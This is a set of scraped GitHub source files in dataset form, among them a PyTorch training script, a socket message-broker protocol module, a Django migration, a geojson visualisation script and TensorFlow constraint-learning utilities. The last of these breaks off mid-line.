self._floatSpinBox.valueChanged.connect(self._signal_floatSpinBox_valueChanged)\n self._rootLayout.addWidget(self._floatSpinBox)\n\n self._rootLayout.setContentsMargins(1, 1, 1, 1)\n self.setLayout(self._rootLayout)\n\n self._pull()\n\n def _signal_floatSpinBox_valueChanged(self, newValue):\n self._push(newValue)\n SendMessage(MsgOnLogicDataEdited(self._val))\n\n def _push(self, data):\n self._val.setVal(data)\n\n def _pull(self):\n data = self._val.getVal()\n self._floatSpinBox.setValue(data)","repo_name":"lastcolour/GamePractice","sub_path":"Sources/Editor/App/view/values/EditFloatValue.py","file_name":"EditFloatValue.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"74258594026","text":"\nimport torch\nimport numpy as np\nfrom torch import optim\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader, dataloader\nfrom torch.utils.data import random_split\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom torch.optim import lr_scheduler\nimport argparse\nimport wandb\nfrom model import transition_model, transition_model_linear, transition_model_residual, VoltageNet\n\nNUM_EPOCHS = 2000\nLR = 0.001\nSAVE_INTERVAL = 10\nBATCH_SIZE = 1024\nHIDDEN_DIM = 512\n\nclass TransitionDataset(Dataset):\n\n def __init__(self, data):\n self.state = torch.from_numpy(data['state']).to(torch.float32)\n self.q = torch.from_numpy(data['q']).to(torch.float32)\n self.res_v = torch.from_numpy(data['res_v']).to(torch.float32)\n\n def __getitem__(self, index):\n data = torch.cat((self.state[index],self.q[index]),dim=0)\n return data, self.res_v[index]\n def __len__(self):\n return self.state.shape[0]\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description=\"Train rl agent.\")\n parser.add_argument(\"--name\", type=str, nargs=\"?\", help=\"Please input the valid name of an environment scenario.\")\n parser.add_argument(\"--dataset\", type=str, nargs=\"?\")\n parser.add_argument(\"--save-path\", type=str, nargs=\"?\", default=\"./\", help=\"Please enter the directory of saving model.\")\n parser.add_argument(\"--wandb\", action='store_true')\n args = parser.parse_args()\n args.num_epochs = NUM_EPOCHS\n args.lr = LR\n args.save_interval = SAVE_INTERVAL\n args.batch_size = BATCH_SIZE\n args.hidden_dim = HIDDEN_DIM\n return args\n\nif __name__==\"__main__\":\n args = get_args()\n if args.wandb:\n wandb.init(\n project='mapdn_cmdp_transition_model',\n entity=\"chelly\",\n name=args.name,\n group='_'.join(args.name.split('_')[:-1]),\n save_code=True\n )\n wandb.config.update(args)\n wandb.run.log_code('.')\n\n _data = np.load(args.dataset,allow_pickle=True).item()\n dataset = TransitionDataset(_data)\n len_train = int(len(dataset) * 0.8)\n len_val = len(dataset) - len_train\n train_dataset, valid_dataset = random_split(\n dataset=dataset,\n lengths=[len_train, len_val],\n generator=torch.Generator().manual_seed(0)\n )\n train_dataloader = DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True, pin_memory=True)\n valid_dataloader = DataLoader(valid_dataset, batch_size=args.batch_size, shuffle=False, pin_memory=True)\n\n # model=transition_model().cuda()\n e_data, e_label = dataset[0]\n input_dim = e_data.shape[-1]\n output_dim = e_label.shape[-1]\n print(\"input_dim = {} output_dim = {}\".format(input_dim, output_dim))\n model=transition_model_residual(input_dim, output_dim, args.hidden_dim).cuda()\n # model = VoltageNet(input_dim, output_dim, args.hidden_dim).cuda()\n\n loss_func=nn.MSELoss()\n optm=torch.optim.Adam(model.parameters(),args.lr)\n scheduler = lr_scheduler.StepLR(optm, step_size=100, gamma=0.8)\n train_epochs_loss = []\n valid_epochs_loss = []\n # acc=acc_func()\n for epoch in range(args.num_epochs):\n train_loss = []\n scheduler.step()\n for idx,(data_x, data_y) in enumerate(train_dataloader,0):\n data_x = data_x.cuda()\n data_y = data_y.cuda()\n outputs = model(data_x)\n optm.zero_grad()\n loss = loss_func(data_y,outputs)\n loss.backward()\n optm.step()\n train_loss.append(loss.item())\n # train_loss.append(loss.item())\n if idx%(len(train_dataloader)//2)==0:\n print(\"epoch={}/{},{}/{}of train, loss={}\".format(\n epoch, NUM_EPOCHS, idx, len(train_dataloader),loss.item()))\n if args.wandb:\n wandb.log({\"train_l2_loss\": np.average(train_loss)},epoch)\n train_epochs_loss.append(np.average(train_loss))\n\n #=====================valid============================\n\n valid_loss = []\n with torch.no_grad():\n for idx,(data_x,data_y) in enumerate(valid_dataloader,0):\n data_x = data_x.cuda()\n data_y = data_y.cuda()\n outputs = model(data_x)\n loss = torch.mean(torch.abs(outputs - data_y))\n valid_loss.append(loss.item())\n print(\"val epoch = {} : {}\".format(epoch,np.average(valid_loss)))\n if args.wandb:\n wandb.log({\"val_l1_loss\": np.average(valid_loss)},epoch)\n if epoch == 0 or np.average(valid_loss) < np.min(valid_epochs_loss):\n path = args.save_path + \"/\"+args.name+\"_best_model\"\n print(\"SAVE best model to {}\".format(path))\n torch.save(model.state_dict(), path)\n valid_epochs_loss.append(np.average(valid_loss))\n\n # if epoch % args.save_interval ==0 :\n # # path = args.scenario + '.res_model{}'.format(epoch)\n # path = args.save_path + \"/res_model_h={}_{}\".format(args.hidden_dim,epoch)\n # print(\"SAVE model to {}\".format(path))\n # torch.save(model.state_dict(), path)\n\n # fig = plt.figure()\n # plt.plot(np.arange(len(train_epochs_loss)), train_epochs_loss)\n # plt.xlabel(\"epoch\")\n # plt.title(\"train_loss\")\n # fig.savefig(args.save_path+\"/\"+args.name+\"_train_loss.png\".format(args.hidden_dim))\n # plt.close()\n\n # fig = plt.figure()\n # plt.plot(np.arange(len(valid_epochs_loss)), valid_epochs_loss)\n # plt.xlabel(\"epoch\")\n # plt.title(\"valid_loss\")\n # fig.savefig(args.save_path+\"/\"+args.name+\"_valid_loss.png\".format(args.hidden_dim))\n # plt.close()\n\n\n\n print(\"Best model : {}\".format(np.min(valid_epochs_loss)))","repo_name":"cjdjr/CMDP4PDN","sub_path":"transition/train_transition.py","file_name":"train_transition.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69978119787","text":"from src.protocols.json_protocol import Json_P\r\nfrom src.protocols.pickle_protocol import Pickle_P\r\nfrom src.protocols.xml_protocol import Xml_P\r\nimport json\r\nimport pickle\r\nimport xml.etree.ElementTree as xml\r\nimport socket\r\n\r\nfrom src.protocols.Serializer import Serializer\r\n\r\nclass Message:\r\n #Message Type.\r\n\r\n def __str__(self):\r\n if self.serialize == 0:\r\n return json.dumps(self.getMessage())\r\n elif self.serialize == 1:\r\n return pickle.dumps(self.getMessage())\r\n \r\n def getMessage(self):\r\n return self.message\r\n \r\nclass SubscribeMessage(Message):\r\n #Message to join a topic\r\n def __init__(self, command, topic, tipo, serialize):\r\n self.serialize = serialize\r\n self.message = {\"command\":command}\r\n self.message[\"topic\"] = topic\r\n self.message[\"type\"] = tipo\r\n self.message[\"serialize\"] = serialize\r\n\r\nclass UnsubscribeMessage(Message):\r\n #Message to unjoin a topic\r\n def __init__(self, command, tipo, serialize, topic):\r\n self.serialize = serialize\r\n self.message = {\"command\":command}\r\n self.message[\"type\"] = tipo\r\n self.message[\"serialize\"] = serialize\r\n self.message[\"topic\"] = topic\r\n \r\nclass TextMessage(Message):\r\n #Message to chat with other clients.\r\n def __init__(self, command, message, topic, tipo, serialize):\r\n self.serialize = serialize\r\n self.message = {\"command\":command}\r\n self.message[\"value\"] = message\r\n self.message[\"topic\"] = topic\r\n self.message[\"type\"] = tipo\r\n self.message[\"serialize\"] = serialize\r\n\r\nclass CDProto:\r\n @classmethod\r\n def subscribe(cls, topic: str, tipo, serialize) -> SubscribeMessage:\r\n # Creates a JoinMessage object and returns object\r\n return SubscribeMessage(\"subscribe\", topic, tipo, serialize)\r\n \r\n @classmethod\r\n def unsubscribe(cls, tipo, serialize, topic) -> UnsubscribeMessage:\r\n # Create a UnsubscribeMessage object and returns object \r\n return UnsubscribeMessage(\"unsubscribe\", tipo, serialize, topic)\r\n\r\n @classmethod\r\n def message(cls, value: str, topic: str, tipo: str,serialize) -> TextMessage:\r\n # Creates a TextMessage object and returns object\r\n return TextMessage(\"value\", value, topic, tipo, serialize)\r\n \r\n @classmethod\r\n def send_msg(cls, connection: socket, msg: Message, serialize):\r\n # Choose format\r\n if serialize == Serializer.JSON.value:\r\n Json_P.send_msg(connection, msg)\r\n elif serialize == Serializer.PICKLE.value:\r\n Pickle_P.send_msg(connection, msg)\r\n else:\r\n Xml_P.send_msg(connection, msg)\r\n\r\n @classmethod\r\n def recv_msg(cls, connection: socket) -> Message:\r\n serialize = int.from_bytes(connection.recv(1), 'big')\r\n if serialize == Serializer.JSON.value:\r\n message = Json_P.recv_msg(connection)\r\n elif serialize == Serializer.PICKLE.value:\r\n message = Pickle_P.recv_msg(connection)\r\n else:\r\n message = Xml_P.recv_msg(connection)\r\n\r\n \r\n \r\n if message == None:\r\n return None\r\n\r\n # selecting message type\r\n if message[\"command\"] == \"subscribe\":\r\n return CDProto.subscribe(message[\"topic\"], message[\"type\"], message[\"serialize\"])\r\n\r\n if message[\"command\"] == \"unsubscribe\":\r\n return CDProto.unsubscribe(message[\"type\"], message[\"serialize\"], message[\"topic\"])\r\n \r\n elif message[\"command\"] == \"value\":\r\n return CDProto.message(message[\"value\"], message[\"topic\"], message[\"type\"], message[\"serialize\"])\r\n","repo_name":"fungame2270/Message_broker","sub_path":"src/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":3675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6679677079","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('Administrativo', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Reserva',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('Data_da_Reserva', models.DateTimeField()),\n ('Uso_Internet', models.CharField(max_length=1)),\n ('Laboratorio', models.OneToOneField(to='Administrativo.Laboratorio')),\n ('Pacotes', models.ManyToManyField(to='Administrativo.PacoteDeSoftware')),\n ('Tipo_Aula', models.ForeignKey(to='Administrativo.Aula')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","repo_name":"eliomarsantana/SRLab","sub_path":"Usuario/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41334906663","text":"#! /usr/bin/python3\nimport svar\nimport json\nimport argparse\nimport time\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-gmap\",default=\"./map.gmap\",help=\"The input gmap file\")\nparser.add_argument(\"-geojson\",default='matching_graph.json',help=\"The output json file representing matches\")\n \nargs = parser.parse_args()\n\n# generate geojson from gmap\nsvar_gmap=svar.load('svar_gmap')\nqglopm =svar.load('svar_qglopm')\n\ngmap=svar_gmap.load(args.gmap)\nframes=gmap.getFrames()\n\nfeatures=[]\n\n# plot frame viewports\ncamera=frames[0].getCamera()\nfor fr in frames:\n tl=qglopm.from_pixel_to_lla(fr,(0,0))\n tr=qglopm.from_pixel_to_lla(fr,(camera[0],0))\n br=qglopm.from_pixel_to_lla(fr,(camera[0],camera[1]))\n bl=qglopm.from_pixel_to_lla(fr,(0,camera[1]))\n coordinates=[[tl.y,tl.x],[tr.y,tr.x],[br.y,br.x],[bl.y,bl.x]]\n geometry={\"type\": \"Polygon\",\"coordinates\":[coordinates]}\n feature={\"type\": \"Feature\",\"properties\": {},\"geometry\":geometry}\n features.append(feature)\n\n# plot matching graph\nfor fr in frames:\n child_center=qglopm.from_pixel_to_lla(fr,(camera[0]/2,camera[1]/2))\n parents=fr.getParents()\n for parent in parents:\n parent_center=qglopm.from_pixel_to_lla(gmap.getFrame(parent['id']),(camera[0]/2,camera[1]/2))\n coordinates=[[parent_center.y,parent_center.x],[child_center.y,child_center.x]]\n geometry={\"type\": \"LineString\",\"coordinates\":coordinates}\n feature={\"type\": \"Feature\",\"properties\": {'stroke':\"#02f740\"},\"geometry\":geometry}\n features.append(feature)\n\n# plot frame centers\nfor fr in frames:\n child_center=qglopm.from_pixel_to_lla(fr,(camera[0]/2,camera[1]/2))\n geometry={\"type\": \"Point\",\"coordinates\":[child_center.y,child_center.x]}\n feature={\"type\": \"Feature\",\"properties\": {\"icon\":\"frame_center.png\"},\"geometry\":geometry}\n features.append(feature)\n\ngeojson={\"type\":\"FeatureCollection\",\"features\":features}\n\nopen(args.geojson,'w').write(json.dumps(geojson,indent=2))\n\n# vis through qglopm plugin\nqapp=qglopm.QApplication()\n\nvis2d= qglopm.Visualizer2D({})\nvis2d.show()\ngraph_layer=vis2d.addLayer(\"graph\",{\"type\":\"geojson\",\"content\":geojson})\nchild_center=qglopm.from_pixel_to_lla(fr,(camera[0]/2,camera[1]/2))\nvis2d.setHomePOS([child_center.y,child_center.x,0])\nvis2d.goHome()\n\nwhile True:\n qapp.processEvents()\n time.sleep(0.01)\n\n","repo_name":"zdzhaoyong/highstitch","sub_path":"python/matching_graph.py","file_name":"matching_graph.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"38517037669","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 28 21:03:05 2020\n\n@author: zijun.cui\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.utils.extmath import cartesian\nfrom scipy.optimize import fsolve\nfrom random import seed\nfrom random import random\nfrom random import randint\n\ndef count_weights(states_arr, dag):\n num_nodes = len(states_arr)\n num_weights = np.zeros(num_nodes)\n for i in range(num_nodes):\n num_states = states_arr[i]\n if num_states == 2:\n num_weights[i] = sum(dag[:,i]) + 1\n else:\n num_weights[i] = num_states*(sum(dag[:,i]) + 1)\n \n return np.sum(num_weights), num_weights\n\ndef get_constraints(load_constraints): #multi-states nodes \n Constraints = []\n num_constraints = load_constraints.shape[0]\n\n num_strict = 0\n for i in range(num_constraints):\n # target set\n orig_set = load_constraints[i,0]\n num_t = orig_set.shape[0]\n t_condi = []\n for j in range(num_t):\n t_condi.append([orig_set[j][0], orig_set[j][1]])\n \n # condition set\n orig_set = load_constraints[i,1]\n num_c = orig_set.shape[0]\n c_condi = []\n for j in range(num_c):\n if orig_set[j][0] == 18:\n c_condi.append([0, orig_set[j][1]-1]) # node 0 for expression with expression 0-5\n else:\n c_condi.append([orig_set[j][0], orig_set[j][1]])\n \n # \n state = load_constraints[i,2][0]\n if state == 'strict bigger' or state == 'strict bigger-product':\n num_strict = num_strict + 1\n \n elif state == 'strict smaller' or state == 'strict smaller-product':\n num_strict = num_strict + 1\n #\n const = load_constraints[i,3]\n if const.shape[1] == 1: # value as constraint\n prob = load_constraints[i,3]\n Constraints.append([t_condi,c_condi,state,prob[0,0]])\n else:\n num_cc = const.shape[0]\n cc_condi = []\n for j in range(num_cc):\n cc_condi.append([const[j][0], const[j][1]])\n Constraints.append([t_condi, c_condi, state, cc_condi])\n \n \n return Constraints, num_strict\n\n\ndef arrange_config_v2(config, DAG, states_arr):\n num_nodes = np.shape(DAG)[0]\n _, num_weights = count_weights(states_arr, DAG)\n num_config = np.shape(config)[0]\n \n num_weights = num_weights.astype(int)\n states_arr = states_arr.astype(int)\n \n parent_config = np.zeros([np.sum(states_arr), np.sum(num_weights), num_config])\n DAG = DAG + np.identity(num_nodes)\n \n for i in range(num_nodes):\n w_start_idx = np.sum(num_weights[0:i])\n w_end_idx = np.sum(num_weights[0:i+1])\n parent_set = np.nonzero(DAG[:,i])[0]\n if i == 0:\n pos = 0\n else:\n pos = np.sum(states_arr[0:i])\n \n if len(parent_set) != 0:\n if states_arr[i] == 2:\n for j in range(num_config):\n# parent_config[pos+1, w_start_idx, j] = 1\n temp = config[j, parent_set]\n temp[i] = 0\n parent_config[pos+1, w_start_idx:w_end_idx, j] = temp #config[j, parent_set]\n else: # multi-states\n for j in range(num_config):\n temp = config[j, parent_set]\n temp[i] = 0\n ssize = (num_weights[i]/states_arr[i]).astype(int)\n for k in range(states_arr[i]):\n sidx = w_start_idx + k*ssize\n eidx = w_start_idx + (k+1)*ssize\n parent_config[pos+k, sidx:eidx, j] = temp\n else:\n if states_arr[i] == 2:\n for j in range(num_config):\n parent_config[pos+1, w_start_idx:w_end_idx, j] = 0 #node itself\n else:\n for j in range(num_config):\n for k in range(states_arr[i]):\n sidx = w_start_idx + k\n eidx = w_start_idx + k + 1\n parent_config[pos+k, sidx:eidx, j] = 0\n \n return parent_config\n \ndef complete_config(incomplete_config, states_arr):\n num_nodes = len(states_arr)\n \n idx = np.where(np.array(incomplete_config)==-999)[0]\n idx_complete = np.where(np.array(incomplete_config)!=-999)[0]\n \n num = len(idx)\n arr = []\n for i in range(num):\n arr.append(np.arange(states_arr[idx[i]]))\n \n config = cartesian(arr)\n num_config = np.shape(config)[0]\n \n complete_config = np.zeros([num_config, num_nodes])\n complete_config[:, idx] = config\n incomplete_config = np.array(incomplete_config)\n complete_config[:, idx_complete] = np.tile(incomplete_config[idx_complete], (num_config,1))\n \n return complete_config\n\n\ndef list_configuration(states_arr, dag):\n num_nodes = len(states_arr)\n \n configs = -999*np.ones(num_nodes)\n config = complete_config(configs, states_arr)\n config_p = arrange_config_v2(config, dag, states_arr)\n \n config = one_hot_config(config, states_arr)\n \n return config, config_p\n\ndef one_hot_config(config, states_arr):\n num_config, num_nodes = np.shape(config)\n states_cum = np.cumsum(states_arr)\n states_cum = np.insert(states_cum, 0, 0)\n num_states = np.sum(states_arr)\n num_states = num_states.astype(int)\n \n onehot_config = np.zeros([num_config, num_states])\n for i in range(num_config):\n for j in range(num_nodes):\n sidx = states_cum[j]\n ss = config[i,j]\n onehot_config[i, sidx.astype(int) + ss.astype(int)] = 1\n \n return onehot_config\n\n\ndef read_condition(constraint):\n num_condition = len(constraint)\n idx = []\n config = []\n for i in range(num_condition):\n idx.append(constraint[i][0])\n config.append(constraint[i][1])\n \n return idx, config\n\n\ndef sparse_constraint(Constraint, states_arr):\n num_constraints = len(Constraint)\n num_nodes = len(states_arr)\n \n configs = -999*np.ones(num_nodes)\n config_all = complete_config(configs, states_arr)\n num_config = config_all.shape[0]\n \n strict_idx = 0\n strict_const = []\n inequal_idx = 0\n inequal_const = []\n equal_idx = 0\n equal_const = []\n\n \n for i in np.arange(num_constraints):\n constraint = Constraint[i]\n # get target set and condition set\n target_idx, target_config = read_condition(constraint[0])\n condition_idx, condition_config = read_condition(constraint[1])\n \n # numerator\n mask_N = np.zeros([num_config, 1])\n mask_N[np.where((config_all[:,target_idx] == target_config) & \\\n (config_all[:,condition_idx] == condition_config))[0]] = 1\n\n # denominator\n mask_D = np.zeros([num_config, 1])\n mask_D[np.where(config_all[:, condition_idx] == condition_config)] = 1\n \n if constraint[2] == 'bigger':\n if inequal_idx == 0:\n inequal_numer = -mask_N\n inequal_denom = mask_D\n else:\n inequal_numer = np.concatenate((inequal_numer, -mask_N), axis = 1)\n inequal_denom = np.concatenate((inequal_denom, mask_D), axis = 1) \n inequal_const.append(-constraint[3])\n inequal_idx = inequal_idx + 1\n \n elif constraint[2] == 'smaller':\n if inequal_idx == 0:\n inequal_numer = mask_N\n inequal_denom = mask_D\n else:\n inequal_numer = np.concatenate((inequal_numer, mask_N), axis = 1)\n inequal_denom = np.concatenate((inequal_denom, mask_D), axis = 1) \n inequal_const.append(constraint[3])\n inequal_idx = inequal_idx + 1\n \n elif constraint[2] == 'strict bigger':\n if strict_idx == 0:\n strict_numer = -mask_N\n strict_denom = mask_D\n else:\n strict_numer = np.concatenate((strict_numer, -mask_N), axis = 1)\n strict_denom = np.concatenate((strict_denom, mask_D), axis = 1) \n strict_const.append(-constraint[3])\n strict_idx = strict_idx + 1\n \n elif constraint[2] == 'strict smaller':\n if strict_idx == 0:\n strict_numer = mask_N\n strict_denom = mask_D\n else:\n strict_numer = np.concatenate((strict_numer, mask_N), axis = 1)\n strict_denom = np.concatenate((strict_denom, mask_D), axis = 1) \n strict_const.append(constraint[3]) \n strict_idx = strict_idx + 1\n \n elif constraint[2] == 'equal':\n if equal_idx == 0:\n equal_numer = mask_N\n equal_denom = mask_D\n else:\n equal_numer = np.concatenate((equal_numer, mask_N), axis = 1)\n equal_denom = np.concatenate((equal_denom, mask_D), axis = 1) \n equal_const.append(constraint[3]) \n equal_idx = equal_idx + 1\n \n return strict_numer, strict_denom, strict_const, inequal_numer, inequal_denom, inequal_const,\\\n equal_numer, equal_denom, equal_const\n\n\n\ndef sparse_constraint_v2(Constraint, states_arr):\n num_constraints = len(Constraint)\n num_nodes = len(states_arr)\n \n configs = -999*np.ones(num_nodes)\n config_all = complete_config(configs, states_arr)\n num_config = config_all.shape[0]\n \n strict2_idx = 0\n strict3_idx = 0\n\n \n for i in np.arange(num_constraints):\n constraint = Constraint[i]\n # get target set and condition set\n target_idx, target_config = read_condition(constraint[0])\n condition_idx, condition_config = read_condition(constraint[1])\n\n # numerator\n mask_N = np.zeros([num_config, 1])\n if len(condition_idx) != 0:\n temp1 = target_idx + condition_idx\n temp2 = target_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_N[idx] = 1\n else:\n idx = (config_all[:,target_idx] == target_config).all(axis=1).nonzero()[0]\n mask_N[idx] = 1\n \n # denominator\n mask_D = np.zeros([num_config, 1])\n if len(condition_idx) != 0:\n idx = (config_all[:, condition_idx] == condition_config).all(axis=1).nonzero()[0]\n mask_D[idx] = 1\n \n \n if constraint[2] == 'strict bigger':\n \n const_idx, const_config = read_condition(constraint[3])\n # numerator for constraint\n mask_cN = np.zeros([num_config, 1])\n if len(condition_idx) != 0:\n temp1 = const_idx + condition_idx\n temp2 = const_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_cN[idx] = 1\n else:\n idx = (config_all[:,const_idx] == const_config).all(axis=1).nonzero()[0]\n mask_cN[idx] = 1\n \n \n if strict2_idx == 0:\n strict_numer2 = -mask_N\n strict_denom2 = mask_D\n strict_const_numer2 = -mask_cN\n else:\n strict_numer2 = np.concatenate((strict_numer2, -mask_N), axis = 1)\n strict_denom2 = np.concatenate((strict_denom2, mask_D), axis = 1) \n strict_const_numer2 = np.concatenate((strict_const_numer2, -mask_cN), axis = 1)\n strict2_idx = strict2_idx + 1\n \n elif constraint[2] == 'strict smaller':\n \n const_idx, const_config = read_condition(constraint[3])\n # numerator for constraint\n mask_cN = np.zeros([num_config, 1])\n if len(condition_idx) != 0:\n temp1 = const_idx + condition_idx\n temp2 = const_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_cN[idx] = 1\n else:\n idx = (config_all[:,const_idx] == const_config).all(axis=1).nonzero()[0]\n mask_cN[idx] = 1\n \n if strict2_idx == 0:\n strict_numer2 = mask_N\n strict_denom2 = mask_D\n strict_const_numer2 = mask_cN\n else:\n strict_numer2 = np.concatenate((strict_numer2, mask_N), axis = 1)\n strict_denom2 = np.concatenate((strict_denom2, mask_D), axis = 1) \n strict_const_numer2 = np.concatenate((strict_const_numer2, mask_cN), axis = 1)\n strict2_idx = strict2_idx + 1\n \n elif constraint[2] == 'strict bigger-product':\n \n const1_idx, const1_config = read_condition([constraint[3][0]])\n const2_idx, const2_config = read_condition([constraint[3][1]])\n # numerator for constraint\n mask_cN1 = np.zeros([num_config, 1])\n temp1 = const1_idx + condition_idx\n temp2 = const1_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_cN1[idx] = 1\n \n mask_cN2 = np.zeros([num_config, 1])\n temp1 = const2_idx + condition_idx\n temp2 = const2_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_cN2[idx] = 1\n \n if strict3_idx == 0:\n strict_numer3 = -mask_N\n strict_denom3 = mask_D\n strict_const_numer31 = -mask_cN1\n strict_const_numer32 = mask_cN2\n else:\n strict_numer3 = np.concatenate((strict_numer3, -mask_N), axis = 1)\n strict_denom3 = np.concatenate((strict_denom3, mask_D), axis = 1) \n strict_const_numer31 = np.concatenate((strict_const_numer31, -mask_cN1), axis = 1)\n strict_const_numer32 = np.concatenate((strict_const_numer32, mask_cN2), axis = 1)\n strict3_idx = strict3_idx + 1\n \n elif constraint[2] == 'strict smaller-product':\n \n const1_idx, const1_config = read_condition([constraint[3][0]])\n const2_idx, const2_config = read_condition([constraint[3][1]])\n # numerator for constraint\n mask_cN1 = np.zeros([num_config, 1])\n temp1 = const1_idx + condition_idx\n temp2 = const1_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_cN1[idx] = 1\n \n mask_cN2 = np.zeros([num_config, 1])\n temp1 = const2_idx + condition_idx\n temp2 = const2_config + condition_config\n idx = (config_all[:,temp1] == temp2).all(axis=1).nonzero()[0]\n mask_cN2[idx] = 1\n \n if strict3_idx == 0:\n strict_numer3 = mask_N\n strict_denom3 = mask_D\n strict_const_numer31 = mask_cN1\n strict_const_numer32 = mask_cN2\n else:\n strict_numer3 = np.concatenate((strict_numer3, mask_N), axis = 1)\n strict_denom3 = np.concatenate((strict_denom3, mask_D), axis = 1) \n strict_const_numer31 = np.concatenate((strict_const_numer31, mask_cN1), axis = 1)\n strict_const_numer32 = np.concatenate((strict_const_numer32, mask_cN2), axis = 1)\n strict3_idx = strict3_idx + 1\n \n return strict_numer2, strict_denom2, strict_const_numer2, \\\n strict_numer3, strict_denom3, strict_const_numer31, strict_const_numer32\\\n \n \n\ndef update_slack(value, init):\n num_variable = len(init)\n update_value = value.copy()\n for i in np.arange(num_variable):\n func = lambda x: (value[i]+np.math.exp(x))*np.math.exp(x)/((value[i]+np.math.exp(x))**2+1) - x \n update_value[i] = fsolve(func, init[i])\n \n return update_value\n\n\n\ndef check_satisfaction(strict_p, inequal_p, equal_p, strict_const_, inequal_const_, equal_const_):\n percent_strict = sum((strict_p-strict_const_)<0)/len(strict_p)\n percent_inequal = sum((inequal_p-inequal_const_)<0)/len(inequal_p)\n percent_equal = sum(abs(equal_p-equal_const_)<0.1)/len(equal_p)\n percent_total = (sum((strict_p-strict_const_)<0)+sum((inequal_p-inequal_const_)<0)+\\\n sum(abs(equal_p-equal_const_)<0.1))/(len(strict_p)+len(inequal_p)+len(equal_p))\n print('total = %f, strict = %f, inequal = %f, equal=%f'%(percent_total, percent_strict, percent_inequal, percent_equal))\n \n'''tf'''\n\ndef WeightsToAdjacency(weights_r, states_cum):\n \n weights_pos = tf.nn.relu(weights_r)\n weights_neg = tf.nn.relu(-weights_r)\n weights = weights_pos + weights_neg\n# weights = tf.math.abs(weights_r)\n weights = tf.math.square(weights_r)\n \n row1 = tf.math.reduce_sum(weights_r[states_cum[0]:states_cum[1], :], axis=0, keepdims=True) \n row2 = tf.math.reduce_sum(weights_r[states_cum[1]:states_cum[2], :], axis=0, keepdims=True)\n row3 = tf.math.reduce_sum(weights_r[states_cum[2]:states_cum[3], :], axis=0, keepdims=True)\n row4 = tf.math.reduce_sum(weights_r[states_cum[3]:states_cum[4], :], axis=0, keepdims=True)\n row5 = tf.math.reduce_sum(weights_r[states_cum[4]:states_cum[5], :], axis=0, keepdims=True)\n row6 = tf.math.reduce_sum(weights_r[states_cum[5]:states_cum[6], :], axis=0, keepdims=True)\n row7 = tf.math.reduce_sum(weights_r[states_cum[6]:states_cum[7], :], axis=0, keepdims=True)\n row8 = tf.math.reduce_sum(weights_r[states_cum[7]:states_cum[8], :], axis=0, keepdims=True)\n row9 = tf.math.reduce_sum(weights_r[states_cum[8]:states_cum[9], :], axis=0, keepdims=True)\n \n adjacency = tf.concat([row1, row2, row3, row4, row5, row6, row7, row8, row9], axis=0) #[num_states, num_config]\n \n return adjacency\n\n\ndef DAGconstraint(adjacency):\n '''\n (Zheng et al 2019)\n '''\n num_nodes = tf.shape(adjacency)[0]\n num_nodes = tf.dtypes.cast(num_nodes, tf.float32)\n E = tf.linalg.expm(adjacency*adjacency)\n h = tf.linalg.trace(E) - num_nodes \n\n return h\n\n\ndef SPARSEconstraint_l1(adjacency):\n adj_ = adjacency\n \n return tf.math.reduce_sum(adj_)\n\ndef joint_marg_prob(states_cum, weights, bias, config, mask, parent_config): \n num_states = tf.shape(parent_config)[0]\n num_config = tf.shape(config)[1]\n \n weight_reshape = tf.tile(tf.expand_dims(weights, 2), [num_states, 1, num_config])\n bias_reshape = tf.tile(bias, [1, num_config])\n \n val = tf.reduce_sum(tf.math.multiply(parent_config, weight_reshape), 1) + tf.math.multiply(bias_reshape, mask)\n \n dist1 = tf.nn.softmax(val[states_cum[0]:states_cum[1],:], axis=0)\n dist2 = tf.nn.softmax(val[states_cum[1]:states_cum[2],:], axis=0)\n dist3 = tf.nn.softmax(val[states_cum[2]:states_cum[3],:], axis=0)\n dist4 = tf.nn.softmax(val[states_cum[3]:states_cum[4],:], axis=0)\n dist5 = tf.nn.softmax(val[states_cum[4]:states_cum[5],:], axis=0)\n dist6 = tf.nn.softmax(val[states_cum[5]:states_cum[6],:], axis=0)\n dist7 = tf.nn.softmax(val[states_cum[6]:states_cum[7],:], axis=0)\n dist8 = tf.nn.softmax(val[states_cum[7]:states_cum[8],:], axis=0)\n dist9 = tf.nn.softmax(val[states_cum[8]:states_cum[9],:], axis=0) \n\n distribution = tf.concat([dist1, dist2, dist3, dist4, dist5, dist6, dist7, dist8, dist9], axis=0) #[num_states, num_config]\n\n prob_arr = tf.math.pow(distribution, config)\n prob_arr2 = 